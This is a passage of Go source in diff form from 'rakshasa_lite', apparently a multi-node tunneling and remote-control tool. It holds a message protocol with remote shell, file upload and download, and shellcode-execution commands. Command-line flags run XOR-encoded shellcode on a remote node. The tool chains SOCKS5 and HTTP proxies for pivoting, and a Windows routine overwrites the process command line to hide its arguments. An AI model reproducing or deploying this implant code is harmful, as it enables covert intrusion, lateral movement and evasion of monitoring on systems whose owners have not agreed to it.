return nil, errors.New("配置解析错误,请按照 用户名:密码@地址:端口 的方式填写,或者 用户名:密码@端口 或者 ip:端口 或者 只有端口")
}
return &Addr{port: port}, nil
}
func (c *Addr) IP() string {
return c.ip
}
func (c *Addr) Addr() string {
return fmt.Sprintf("%s:%d", c.ip, c.port)
}
func (c *Addr) Port() string {
return fmt.Sprintf("%d", c.port)
}
func (c *Addr) String() string {
if c.user == "" && c.passwd == "" {
if c.ip == "" {
return fmt.Sprintf("%d", c.port)
}
return fmt.Sprintf("%s%s:%d", c.scheam, c.ip, c.port)
}
return fmt.Sprintf("%s%s:%s@%s:%d", c.scheam, c.user, c.passwd, c.ip, c.port)
}
func (c *Addr) GetHttpAuthorizationHeader() string {
return c.httpAuthorizationHeader
}
func (c *Addr) User() string {
return c.user
}
func (c *Addr) Password() string {
return c.passwd
}
func (c *Addr) Scheam() string {
return c.scheam
}
func (c *Addr) HttpUrl() string {
return "http://" + c.Addr()
}
+6
View File
@@ -0,0 +1,6 @@
package common
func ChangeArg(param string) {
//linux暂不支持
}
+10
View File
@@ -0,0 +1,10 @@
//go:build linux || darwin
// +build linux darwin
package common
func ChangeArg(param string) {
//linux暂不支持
}
+29
View File
@@ -0,0 +1,29 @@
//go:build windows
// +build windows
package common
import (
"syscall"
"unsafe"
)
func ChangeArg(param string) {
if kernel32, err := syscall.LoadDLL("Kernel32.dll"); err == nil {
if GetCommandLineA, err := kernel32.FindProc("GetCommandLineW"); err == nil {
u, _, _ := GetCommandLineA.Call()
u16, _ := syscall.UTF16FromString(param)
for k, v := range u16 {
*(*byte)(unsafe.Pointer(u + uintptr(k*2+0))) = byte(v)
*(*byte)(unsafe.Pointer(u + uintptr(k*2+1))) = byte(v >> 8)
}
*(*uint16)(unsafe.Pointer(u + uintptr(len(u16)*2+1))) = 0
}
}
}
+325
View File
@@ -0,0 +1,325 @@
package common
import (
"bytes"
"errors"
"fmt"
"github.com/google/uuid"
"math/rand"
"net"
"rakshasa_lite/aes"
"regexp"
"strings"
"sync"
"sync/atomic"
"time"
)
const UUID_LEN = 16
var BroadcastUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0xff}, UUID_LEN))
var NoneUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0x00}, UUID_LEN))
var EnableTermVt bool
// 数据包结构 包长(2byteUUID+UUID+MsgId+Ttl+cmd包
type Msg struct {
From string
To string
MsgId uint32
Ttl uint8
CmdOpteion uint8
CmdId uint32
CmdData []byte
}
const (
MAX_PLAINTEXT = 16384 - 2 - UUID_LEN*2 - 4 - 1 - 5 //不包含headlen
MAX_PACKAGE = 0xffff - UUID_LEN*2 - 4 - 1 - 5
INIT_WINDOWS_SIZE = MAX_PLAINTEXT * 20
WRITE_DEADLINE = time.Second * 5
CMD_TIMEOUT = time.Second * 10
)
// 大数据包格式,(CMD+fd)headlen+内容,不超过MaxPlaintext,使用tls自动分包
const (
CMD_NONE = iota
CMD_CONNECT_BYIDADDR //请求id, 格式newWork(1byte)+负载
CMD_CONNECT_BYIDADDR_RESULT //返回id
CMD_DELETE_CONNID //删除fd资源
CMD_CONN_MSG //发送消息,格式windows(8byte)+负载
CMD_CONN_UDP_MSG //udp数据包
CMD_NODE_RESTART //删除所有
CMD_WINDOWS_UPDATE // 增加窗口值
CMD_PING //请求ping
CMD_PONG //返回pong
CMD_PING_LISTEN //bind和remoteSocke5用,type(1byte)+id(4byte)
CMD_PING_LISTEN_RESULT
CMD_REG //通过本地注册
CMD_REG_RESULT //节点端注册
CMD_REMOTE_REG //通过远程服务器注册
CMD_REMOTE_REG_RESULT
CMD_GET_CURRENT_NODE //特殊指令,节点丢失后,查询节点
CMD_GET_CURRENT_NODE_RESULT
CMD_GET_NODE //获取节点列表
CMD_GET_NODE_RESULT
CMD_ADD_NODE //新增节点
CMD_LISTEN //监听
CMD_LISTEN_RESULT
CMD_DELETE_LISTEN
CMD_CONNECT_BYID //连接
CMD_DELETE_LISTENCONN_BYID
CMD_REMOTE_SOCKS5 //
//CMD_REMOTE_SOCKS5_RESULT
CMD_PWD
CMD_PWD_RESULT
CMD_DIR
CMD_DIR_RESULT
CMD_CD
CMD_CD_RESULT
CMD_UPLOAD
CMD_UPLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=进度
CMD_DOWNLOAD
CMD_DOWNLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=size包,2=数据包
CMD_SHELL
CMD_SHELL_DATA
CMD_SHELL_RESULT
CMD_RUN_SHELLCODE
CMD_RUN_SHELLCODE_RESULT
)
var CmdToName = map[uint8]string{
CMD_NONE: "CMD_NONE",
CMD_CONNECT_BYIDADDR: "CMD_CONNECT_BYIDADDR",
CMD_CONNECT_BYIDADDR_RESULT: "CMD_CONNECT_BYIDADDR_RESULT",
CMD_DELETE_CONNID: "CMD_DELETE_CONNID",
CMD_CONN_MSG: "CMD_CONN_MSG",
CMD_CONN_UDP_MSG: "CMD_CONN_UDP_MSG",
CMD_NODE_RESTART: "CMD_NODE_RESTART",
CMD_WINDOWS_UPDATE: "CMD_WINDOWS_UPDATE",
CMD_PING: "CMD_PING",
CMD_PONG: "CMD_PONG",
CMD_PING_LISTEN: "CMD_PING_LISTEN",
CMD_PING_LISTEN_RESULT: "CMD_PING_LISTEN_RESULT",
CMD_REG: "CMD_REG",
CMD_REG_RESULT: "CMD_REG_RESULT",
CMD_REMOTE_REG: "CMD_REMOTE_REG",
CMD_REMOTE_REG_RESULT: "CMD_REMOTE_REG_RESULT",
CMD_GET_CURRENT_NODE: "CMD_GET_CURRENT_NODE",
CMD_GET_CURRENT_NODE_RESULT: "CMD_GET_CURRENT_NODE_RESULT",
CMD_GET_NODE: "CMD_GET_NODE",
CMD_GET_NODE_RESULT: "CMD_GET_NODE_RESULT",
CMD_ADD_NODE: "CMD_ADD_NODE",
CMD_LISTEN: "CMD_LISTEN",
CMD_LISTEN_RESULT: "CMD_LISTEN_RESULT",
CMD_DELETE_LISTEN: "CMD_DELETE_LISTEN",
CMD_CONNECT_BYID: "CMD_CONNECT_BYID",
CMD_DELETE_LISTENCONN_BYID: "CMD_DELETE_LISTEN_CONN_BYID",
CMD_REMOTE_SOCKS5: "CMD_REMOTE_SOCKS5",
//CMD_REMOTE_SOCKS5_RESULT: "CMD_REMOTE_SOCKS5_RESULT",
CMD_PWD: "CMD_PWD",
CMD_PWD_RESULT: "CMD_PWD_RESULT",
CMD_DIR: "CMD_DIR",
CMD_DIR_RESULT: "CMD_DIR_RESULT",
CMD_CD: "CMD_CD",
CMD_CD_RESULT: "CMD_CD_RESULT",
CMD_UPLOAD: "CMD_UPLOAD",
CMD_UPLOAD_RESULT: "CMD_UPLOAD_RESULT",
CMD_DOWNLOAD: "CMD_DOWNLOAD",
CMD_DOWNLOAD_RESULT: "CMD_DOWNLOAD_RESULT",
CMD_SHELL: "CMD_SHELL",
CMD_SHELL_DATA: "CMD_SHELL_DATA",
CMD_SHELL_RESULT: "CMD_SHELL_RESULT",
CMD_RUN_SHELLCODE: "CMD_RUN_SHELLCODE",
CMD_RUN_SHELLCODE_RESULT: "CMD_RUN_SHELLCODE_RESULT",
}
type NetWork byte
const (
_ NetWork = iota
SOCKS5_CMD_CONNECT
// CmdBind is bind command
SOCKS5_CMD_BIND
// CmdUDP is UDP command
SOCKS5_CMD_UDP
RAW_TCP
RAW_TCP_WITH_PROXY
)
// 符合Server调用的接口
type Server interface {
ID() uint32
Write(buf []byte)
DeleteFd(fd [2]byte)
FdLoad(fd [2]byte) bool
FdStore(fd [2]byte, c Conn)
Close(string)
AddrList() string
}
const (
CONN_STATUS_OK = iota
CONN_STATUS_CLOSE
)
// 符合Conn调用的接口
type Conn interface {
Write([]byte) //会将部分消息原样不动发回去
Close(string)
}
type Close interface {
Close(string)
}
var globalID1, globalID2 uint32
var GetIDLock sync.Mutex
func GetID() uint32 {
return atomic.AddUint32(&globalID1, 1)
}
func GetConnID() uint32 {
return atomic.AddUint32(&globalID2, 1)
}
func init() {
rand.Seed(time.Now().Unix())
}
type RegMsg struct {
UUID string //当前机器uuid
RegAddr string //远程连接的addr
Hostname string //当前机器名称
Goos string
ViaUUID string
Err string
MainIp string
Port string
}
var msgId uint32
func (m *Msg) Marshal() []byte {
l := UUID_LEN*2 + 4 + 1 + 5 + len(m.CmdData)
data := make([]byte, l+2)
data1 := make([]byte, l+2)
data1[0] = byte(l)
data1[1] = byte(l >> 8)
uf, _ := uuid.Parse(m.From)
ut, _ := uuid.Parse(m.To)
bf, _ := uf.MarshalBinary()
bt, _ := ut.MarshalBinary()
copy(data[2:], bf)
copy(data[2+UUID_LEN:], bt)
b := 2 + 2*UUID_LEN
if m.MsgId == 0 { //id不为0
m.MsgId = atomic.AddUint32(&msgId, 1)
}
data[b] = byte(m.MsgId)
data[b+1] = byte(m.MsgId >> 8)
data[b+2] = byte(m.MsgId >> 16)
data[b+3] = byte(m.MsgId >> 24)
data[b+4] = m.Ttl
data[b+5] = m.CmdOpteion
data[b+6] = byte(m.CmdId)
data[b+7] = byte(m.CmdId >> 8)
data[b+8] = byte(m.CmdId >> 16)
data[b+9] = byte(m.CmdId >> 24)
copy(data[2+2*UUID_LEN+4+1+5:], m.CmdData)
aes.AesCtrEncrypt(data1[2:], data[2:])
return data1
}
func UnmarshalMsg(data []byte) (msg *Msg) {
if len(data) < 2*UUID_LEN+4+1+5 {
return
}
msg = &Msg{}
uf, _ := uuid.FromBytes(data[:UUID_LEN])
ut, _ := uuid.FromBytes(data[UUID_LEN : 2*UUID_LEN])
msg.From = uf.String()
msg.To = ut.String()
b := 2 * UUID_LEN
msg.MsgId = uint32(data[b]) | uint32(data[b+1])<<8 | uint32(data[b+2])<<16 | uint32(data[b+3])<<24
msg.Ttl = data[b+4]
msg.CmdOpteion = data[b+5]
msg.CmdId = uint32(data[b+6]) | uint32(data[b+7])<<8 | uint32(data[b+8])<<16 | uint32(data[b+9])<<24
msg.CmdData = data[b+10:]
return
}
func ExternalIP() (net.IP, error) {
ifaces, err := net.Interfaces()
if err != nil {
return nil, err
}
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 {
continue // interface down
}
if iface.Flags&net.FlagLoopback != 0 {
continue // loopback interface
}
addrs, err := iface.Addrs()
if err != nil {
return nil, err
}
for _, addr := range addrs {
ip := getIpFromAddr(addr)
if ip == nil {
continue
}
return ip, nil
}
}
return nil, errors.New("connected to the network?")
}
// 获取ip
func getIpFromAddr(addr net.Addr) net.IP {
var ip net.IP
switch v := addr.(type) {
case *net.IPNet:
ip = v.IP
case *net.IPAddr:
ip = v.IP
}
if ip == nil || ip.IsLoopback() {
return nil
}
ip = ip.To4()
if ip == nil {
return nil // not an ipv4 address
}
return ip
}
func ResolveTCPAddr(str string) ([]string, error) {
dst := strings.Split(str, ",")
for i := len(dst) - 1; i >= 0; i-- {
addr := dst[i]
if addr == "" {
dst = append(dst[:i], dst[i+1:]...)
} else {
if _, err := net.ResolveTCPAddr("tcp", addr); err != nil {
if i > 0 {
r, _ := regexp.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`)
match := r.MatchString(addr)
if !match {
return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err)
}
} else {
return nil, fmt.Errorf("参数错误 格式为\"ip:端口,第二个地址可以是UUID\",多个地址以逗号隔开,错误详情%v", err)
}
}
}
}
return dst, nil
}
+11
View File
@@ -0,0 +1,11 @@
package common
type Config struct {
DstNode []string //-d 上级节点
Password string //通讯密码,可为空
Port int //默认8883
ListenIp string //指定公网ip,其他节点进行额外节点连接时候,尝试连接的ip
Limit bool //禁止额外连接,只连接-d节点,不会尝试连接其他节点
FileName string
FileSave bool `yaml:"-"`
}
+11
View File
@@ -0,0 +1,11 @@
package common
import (
"github.com/creack/pty"
"os"
)
func SetConsoleVT() {}
func GetSize() *pty.Winsize {
size, _ := pty.GetsizeFull(os.Stdin)
return size
}
+15
View File
@@ -0,0 +1,15 @@
//go:build linux || darwin
// +build linux darwin
package common
import (
"github.com/creack/pty"
"os"
)
func SetConsoleVT() {}
func GetSize() *pty.Winsize {
size, _ := pty.GetsizeFull(os.Stdin)
return size
}
+1
View File
@@ -0,0 +1 @@
package common
+13
View File
@@ -0,0 +1,13 @@
module rakshasa_lite
go 1.16
replace cert => ../cert
require (
cert v0.0.0-00010101000000-000000000000 // indirect
github.com/creack/pty v1.1.18
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40
github.com/google/uuid v1.3.0
gopkg.in/yaml.v3 v3.0.1
)
+12
View File
@@ -0,0 +1,12 @@
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/dlclark/regexp2 v1.8.1 h1:6Lcdwya6GjPUNsBct8Lg/yRPwMhABj269AAzdGSiR+0=
github.com/dlclark/regexp2 v1.8.1/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 h1:OgoboV484kN/ngW4apHvSw8iy9YhhQusAKSLT8nGl94=
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40/go.mod h1:Gdtd77IQrjXqFfiourWpNnE1jDPC4opZPDPxPLWFlr0=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+63
View File
@@ -0,0 +1,63 @@
package httppool
import (
"bufio"
"errors"
"fmt"
"io"
"os"
"rakshasa_lite/common"
"strings"
"sync"
)
type HttpPool struct {
r *bufio.Reader
f *os.File
sync.Mutex
}
func HttpPoolInit(file string) (*HttpPool, error) {
f, err := os.Open(file)
if err != nil {
return nil, fmt.Errorf("打开http代理池文件 %s 失败", file)
}
p := &HttpPool{
r: bufio.NewReader(f),
f: f,
Mutex: sync.Mutex{},
}
if _, err = p.do_next(0); err != nil {
return nil, fmt.Errorf("无法从%s文件获取代理,错误%v", file, err)
}
return p, nil
}
func (p *HttpPool) Next() *common.Addr {
addr, _ := p.do_next(0)
return addr
}
func (p *HttpPool) do_next(n int) (*common.Addr, error) {
if n > 100 {
return nil, errors.New("重试错误次数过多")
}
p.Lock()
line, err := p.r.ReadString(10)
if err == io.EOF {
p.f.Seek(0, 0)
p.r.Reset(p.f)
p.Unlock()
return p.do_next(n + 1)
}
p.Unlock()
line = strings.TrimRight(line, "\n")
line = strings.TrimRight(line, "\r")
if len(line) == 0 {
return p.do_next(n + 1)
}
addr, err := common.ParseAddr(line)
if err != nil {
return p.do_next(n + 1)
}
return addr, nil
}
+175
View File
@@ -0,0 +1,175 @@
package main
import (
"cert"
"flag"
"fmt"
"log"
"rakshasa_lite/aes"
"rakshasa_lite/common"
"rakshasa_lite/server"
"strconv"
"sync"
)
func main() {
var (
//以下为配置参数
dstNode = flag.String("d", "", "依次连接到指定的 上级节点地址,格式为 ip:端口 多个节点以,隔开 第二个地址可以是UUID\r\n -d 192.168.1.1:8883\r\n -d 192.168.1.1:8883,192.168.1.2:8882")
limit = flag.String("limit", "", "limit模式,只连接-d的节点,不进行额外节点连接,默认为false,如果为true,本节点掉线的时候,将会尝试连接所有已保存节点")
password = flag.String("password", "", "通讯二次加密秘钥,可为空")
listenip = flag.String("ip", "", "设置本地节点指定公网ip,如\r\n -ip 192.168.1.1")
port = flag.String("p", "", "设置本地节点监听端口,默认8883")
configFile = flag.String("f", "", "配置文件路径,为空的时候不读取")
//以下为功能参数,必须配合-d参数启动
socks5port = flag.String("socks5", "", "以本地socks5代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则相当于建立了一个本地socks5代理服务器,如: -socks5 admin:[email protected]:1080")
remoteSocksport = flag.String("remotesocks5", "", "-d节点监听socks5代理,并将请求通过本地转出,如: -remote admin:[email protected]:1080")
rawbind = flag.String("bind", "", "反向代理转发模式,格式为ip:port,remote_ip:remote_port-d指定节点将会监听remote_ip:remote_port,通过本机将数据转发到ip:port,如\r\n -bind 127.0.0.1:80,0.0.0.0:80")
rawconnect = flag.String("connect", "", "代理转发模式,格式为ip:port,remote_ip:remote_port,本地监听ip:port,并在-d节点连接到remote_ip:remote_port,如\r\n -connect 0.0.0.0:80,192.168.1.1:80")
shellCode = flag.String("shellcode", "", "与-d配合指定节点执行shellcode,-d参数为空则为本节点执行,可以为base64或者hex编码")
shellCodeXorKey = flag.String("sXor", "", "shellcode的xor解码密钥")
shellCodeParam = flag.String("sParam", "", "shellcode的运行参数")
shellCodeTimeout = flag.Int("sTimeout", 3, "shellcode的超时等待时间,默认3秒")
http_proxy = flag.String("http_proxy", "", "以本地http代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则使用本机进行下一步连接, 用户名:密码@ip:端口 可以省略为端口,如: \r\n -http_proxy admin:[email protected]:8080\r\n -http_proxy admin:12345@8080\r\n -http_proxy 8080")
http_proxy_pool = flag.String("http_proxy_pool", "", "从指定文件读取http代理服务器池,通过最后节点后(不使用-d则为本机),再从该池里读取一个代理进行请求")
)
flag.Parse()
var config common.Config
if *configFile != "" {
if err := server.ConfigLoad(*configFile); err != nil {
log.Fatalln("读取配置文件", *configFile, "失败 ", err)
}
config = server.GetConfig()
} else {
config = common.Config{
Port: 8883,
Limit: false,
FileName: "config.yaml",
}
}
if *dstNode != "" {
serverlist, err := common.ResolveTCPAddr(*dstNode)
if err != nil {
log.Fatalln("-d参数错误", err)
}
config.DstNode = serverlist
}
if *password != "" {
config.Password = *password
}
if *listenip != "" {
config.ListenIp = *listenip
}
if *limit != "" {
if *limit != "flase" && *limit != "true" {
log.Fatalln("limit 参数错误,必须是 false 或者 true")
}
config.Limit = *limit == "true"
}
if *port != "" {
p, _ := strconv.Atoi(*port)
if p < 1 || p > 65535 {
log.Fatalln("port 参数错误,必须是1-65535")
}
config.Port = p
}
server.SetConfig(config)
//修正dstNode为空字串的bug
for i := len(config.DstNode) - 1; i >= 0; i-- {
addr := config.DstNode[i]
if addr == "" {
config.DstNode = append(config.DstNode[:i], config.DstNode[i+1:]...)
}
}
server.SetConfig(config)
//设置一下秘钥
aes.Key = aes.MD5_B(config.Password + string(cert.RsaPrivateKey[:16]))
//初始化node
server.InitCurrentNode()
//启动节点
if len(config.DstNode) > 0 && config.DstNode[0] != "" {
if _, err := server.GetNodeFromAddrs(config.DstNode); err != nil {
log.Fatalln("连接节点失败", err)
}
}
if *shellCode != "" {
server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout)
}
if err := server.StartServer(fmt.Sprintf("0.0.0.0:%d", config.Port)); err != nil {
log.Fatalln(err)
}
//如果有参数启动,启动一下
if *rawbind != "" {
if *dstNode == "" {
log.Fatalln("请以 -d 输入远程服务器ip地址")
}
if err := server.StartRawBind(*rawbind, config.DstNode); err != nil {
log.Fatalln("bind启动失败", err)
}
log.Println("rawBind启动成功")
} else if *rawconnect != "" {
if *dstNode == "" {
log.Fatalln("请以 -d 输入远程服务器ip地址")
}
n, err := server.GetNodeFromAddrs(config.DstNode)
if err != nil {
log.Fatalln("connect启动失败", err)
}
if err := server.StartRawConnect(*rawconnect, n); err != nil {
log.Fatalln("connect启动失败", err)
}
log.Println("rawConnect启动成功")
} else if *socks5port != "" {
cfg, err := common.ParseAddr(*socks5port)
if err != nil {
log.Fatalln(err)
}
if err := server.StartSocks5(cfg, config.DstNode); err != nil {
log.Fatalln("socks5启动失败", err)
}
log.Println("socks5启动成功")
} else if *remoteSocksport != "" {
if *dstNode == "" {
log.Fatalln("请以 -d 输入远程服务器ip地址")
}
n, err := server.GetNodeFromAddrs(config.DstNode)
if err != nil {
log.Fatalln("remoteSocks5启动失败", err)
}
cfg, err := common.ParseAddr(*remoteSocksport)
if err != nil {
log.Fatalln(err)
}
if err := server.StartRemoteSocks5(cfg, n); err != nil {
log.Fatalln("remoteSocks5启动失败", err)
}
log.Println("remoteSocks5 启动成功")
} else if *http_proxy != "" {
cfg, err := common.ParseAddr(*http_proxy)
if err != nil {
log.Fatalln(err)
}
if err := server.StartHttpProxy(cfg, config.DstNode, *http_proxy_pool); err != nil {
log.Fatalln("httpProxy启动失败", err)
}
log.Println("httpProxy 启动成功")
}
var wait sync.WaitGroup
wait.Add(1)
wait.Wait()
}
+42
View File
@@ -0,0 +1,42 @@
package server
import (
"gopkg.in/yaml.v3"
"io/ioutil"
"rakshasa_lite/common"
)
var currentConfig common.Config
func SetConfig(config common.Config) {
currentConfig = config
currentConfig.FileSave = false
currentNode.mainIp = currentConfig.ListenIp
currentNode.port = currentConfig.Port
}
func ConfigSave() error {
b, _ := yaml.Marshal(currentConfig)
err := ioutil.WriteFile(currentConfig.FileName, b, 0666)
if err == nil {
currentConfig.FileSave = true
}
return err
}
func ConfigLoad(filename string) error {
b, err := ioutil.ReadFile(filename)
if err == nil {
var config common.Config
err = yaml.Unmarshal(b, &config)
if err == nil {
currentConfig = config
currentConfig.FileSave = true
}
}
return err
}
func GetConfig() common.Config {
return currentConfig
}
+714
View File
@@ -0,0 +1,714 @@
package server
import (
"bytes"
"cert"
"crypto/tls"
"encoding/json"
"fmt"
"io"
"net"
"net/url"
"rakshasa_lite/aes"
"rakshasa_lite/common"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
)
var (
bufPool = &sync.Pool{
New: func() interface{} {
return &bytes.Buffer{}
},
}
closeChan = make(chan *bytes.Buffer, 1) //用于接收已关闭消息的黑洞chan
)
// 节点的连接,包含listen来的和主动connect的
type Conn struct {
closeTag int32
node *node
nodeaddr string
//key string
remoteAddr string
inChan chan func()
OutChan chan []byte
close chan string
isClient bool
nodeConn *tls.Conn
regResult chan error
regResultNode chan *node
}
type serverListen struct {
close int32
node *node
listen net.Listener
isSocks5 bool
socks5Replay []byte
replayid uint32
id uint32
connMap sync.Map
randkey []byte
}
type serverConnect struct {
close int32
id uint32
windowsSize int64
conn net.Conn
node *node
address string
write chan *bytes.Buffer
wait chan int
closeReason string
randkey []byte
}
// 中转与最终出口
func StartServer(addr string) error {
config := cert.Tlsconfig.Clone()
fmt.Println("start on ", addr)
l, err := tls.Listen("tcp", addr, config)
if err != nil {
return fmt.Errorf("server start fail %v", err)
}
currentNode.listen = l
go func() {
for {
conn, err := l.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
//封装一个符合common.server接口的server
c := &Conn{
nodeConn: conn.(*tls.Conn),
remoteAddr: conn.RemoteAddr().String(),
}
connMap.Store(c.remoteAddr, conn)
go c.handlerNodeRead()
go c.handle()
}
}()
return nil
}
func init() {
go func() {
for b := range closeChan {
b.Reset()
bufPool.Put(b)
}
}()
}
func (conn *serverConnect) Close(reason string) {
if atomic.CompareAndSwapInt32(&conn.close, 0, 1) {
go func() {
if conn.conn != nil {
conn.conn.Close()
}
//fmt.Println(conn.fd, reason)
conn.node.connMap.Delete(conn.id)
conn.closeReason = reason
conn.node.listenMap.Range(func(key, value interface{}) bool {
value.(*serverListen).connMap.Delete(conn.id)
return true
})
if reason != remoteClose {
conn.node.Write(common.CMD_DELETE_CONNID, conn.id, nil)
}
select {
case conn.wait <- common.CONN_STATUS_CLOSE:
case <-time.After(time.Second * 10):
}
conn.write <- nil
conn.write = closeChan
}()
}
}
func (c *Conn) Close(reason string) {
c.close <- reason
}
func (conn *serverConnect) handTcpReceive() {
go func() {
for b := range conn.write {
if b == nil {
conn.write = closeChan
return
}
if _, err := conn.conn.Write(b.Bytes()); err != nil {
conn.Close(err.Error())
}
b.Reset()
bufPool.Put(b)
}
}()
var err error
var n int
defer func() {
if err != nil {
conn.Close(conn.address + " 读取出错" + err.Error())
} else {
conn.Close(conn.address + " read异常关闭")
}
}()
buf := make([]byte, common.MAX_PLAINTEXT)
for conn.close == 0 {
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
n, err = conn.conn.Read(buf)
if err != nil {
if atomic.LoadInt32(&conn.close) == 0 {
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
return
}
continue
} else {
return
}
}
data := make([]byte, n)
copy(data, buf)
conn.node.Write(common.CMD_CONN_MSG, conn.id, data)
atomic.AddInt64(&conn.windowsSize, -1*int64(n))
for atomic.LoadInt64(&conn.windowsSize) <= 0 && conn.close == 0 {
select {
case flag := <-conn.wait:
if flag == common.CONN_STATUS_CLOSE {
return
}
case <-time.After(time.Second):
}
}
}
}
func (conn *serverConnect) Write(data []byte) {
data = data[1:]
windows_update_size := int64(data[0]) | int64(data[1])<<8 | int64(data[2])<<16 | int64(data[3])<<24 | int64(data[4])<<32 | int64(data[5])<<40 | int64(data[6])<<48 | int64(data[7])<<56
if windows_update_size != 0 {
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
if old < 0 {
go func() {
select {
case conn.wait <- common.CONN_STATUS_OK:
case <-time.After(time.Second):
}
}()
}
}
b := bufPool.Get().(*bytes.Buffer)
b.Reset()
b.Write(data[8:])
conn.write <- b
}
func (conn *serverConnect) handUdpReceive() {
var err error
var n int
defer func() {
if err != nil {
conn.Close(conn.address + " 网站读取出错" + err.Error())
} else {
conn.Close(conn.address + " read异常关闭")
}
}()
buf := make([]byte, common.MAX_PLAINTEXT)
for conn.close == 0 {
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
n, err = conn.conn.Read(buf)
if err != nil {
if atomic.LoadInt32(&conn.close) == 0 {
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
return
}
continue
} else {
return
}
}
b := make([]byte, n)
copy(b, buf)
conn.node.Write(common.CMD_CONN_UDP_MSG, conn.id, b)
}
}
func (conn *serverConnect) doConnectTcp(network common.NetWork, addr string) {
netconn, err := net.DialTimeout("tcp", addr, time.Second*30)
if err != nil {
buf := make([]byte, 2)
buf[0] = byte(network)
buf[1] = 0
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
conn.Close("fd拨号失败")
return
} else {
buf := make([]byte, 2)
buf[0] = byte(network)
buf[1] = 1
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
if conn.close == 0 {
conn.conn = netconn
go conn.handTcpReceive()
}
}
}
func (conn *serverConnect) doConnectTcpWithHttpProxy(network common.NetWork, addr string) {
writeResult := func(res bool) {
buf := make([]byte, 2)
buf[0] = byte(network)
buf[1] = 0
if res {
buf[1] = 1
}
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
}
if i := strings.IndexByte(addr, 32); i > -1 {
cfg, err := common.ParseAddr(addr[i+1:])
if err != nil {
writeResult(false)
conn.Close("地址解析失败")
return
}
netconn, err := net.DialTimeout("tcp", cfg.Addr(), time.Second*2)
if err != nil {
writeResult(false)
conn.Close("fd拨号失败")
return
} else {
netconn.SetDeadline(time.Now().Add(time.Second * 30))
netconn.SetWriteDeadline(time.Now().Add(time.Second * 30))
switch cfg.Scheam() {
case "", "http://":
//请求代理
data := fmt.Sprintf("CONNECT %s HTTP/1.1\r\nHost: %s\r\nProxy-Connection: keep-alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\r\n", addr[:i], addr[:i])
if cfg.GetHttpAuthorizationHeader() != "" {
data += cfg.GetHttpAuthorizationHeader() + "\r\n\r\n"
} else {
data += "\r\n"
}
_, err = netconn.Write([]byte(data))
if err != nil {
writeResult(false)
conn.Close("http代理发送消息失败")
return
}
var resdata []byte
var result [8192]byte
var req = &http1request{}
for {
n, err := netconn.Read(result[:])
if err != nil {
writeResult(false)
conn.Close("读取http代理结果失败")
return
}
resdata = append(resdata, result[:n]...)
l, _, err := parsereq(req, resdata)
if err != nil {
return
} else if l > 0 {
break
}
}
if req.Status == "200 Connection established" {
writeResult(true)
if conn.close == 0 {
conn.conn = netconn
go conn.handTcpReceive()
}
} else {
writeResult(false)
conn.Close("http代理连接失败")
}
writeResult(true)
case "socks5://":
_, err = netconn.Write([]byte{5, 1, 2})
if err != nil {
writeResult(false)
conn.Close("socks5代理发送消息失败")
return
}
var result [8192]byte
n, err := netconn.Read(result[:])
if err != nil {
writeResult(false)
conn.Close("读取socks5数据出错")
return
}
if string(result[:n]) == string([]byte{5, 2}) { //需要认证
user, password := cfg.User(), cfg.Password()
if user == "" && password == "" {
writeResult(false)
conn.Close("socks5需要验证")
return
}
data := make([]byte, (3 + len(user) + len(password)))
data[0] = 5
data[1] = byte(len(user))
copy(data[2:], user)
data[2+len(user)] = byte(len(password))
copy(data[3+len(user):], password)
netconn.Write(data)
n, err = netconn.Read(result[:])
if err != nil || string(result[:n]) != string([]byte{5, 0}) {
writeResult(false)
